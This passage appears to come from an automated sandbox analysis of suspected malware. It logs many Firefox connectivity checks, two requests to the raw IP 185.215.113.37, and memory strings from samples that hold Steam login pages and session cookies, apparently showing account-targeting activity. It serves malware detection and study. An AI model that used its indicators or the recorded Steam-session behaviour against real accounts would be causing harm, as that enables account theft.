Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001B.00000002.2405182048.000001BAAC060000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2405182048.000001BAAC060000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2447977267.000001BAB0503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2504887224.00002B1706A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: +https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2504887224.00002B1706A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: +https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2496157306.000001BAB7788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2448288655.000001BAB0603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2432375917.000001BAAF73E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7493000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2496157306.000001BAB7788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB0603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2432375917.000001BAAF73E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2448956434.000001BAB0780000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448956434.000001BAB07D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448956434.000001BAB07BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: 805c374e44.exe, 0000000C.00000003.2085812023.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 805c374e44.exe, 0000000C.00000003.2085812023.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C39783226b5b7f60540b70d42aee72c33; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=0944ef9f3fc80639c71eb7a5; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35741Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveTue, 22 Oct 2024 17:25:16 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C39783226b5b7f60540b70d42aee72c33; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=0944ef9f3fc80639c71eb7a5; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35741Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveTue, 22 Oct 2024 17:25:16 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-ControlI equals www.youtube.com (Youtube)
Source: 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C39783226b5b7f60540b70d42aee72c33; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=714dc7c6234ae889472677a0; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35741Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveTue, 22 Oct 2024 17:24:21 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C39783226b5b7f60540b70d42aee72c33; Path=/; Secure; HttpOnly; 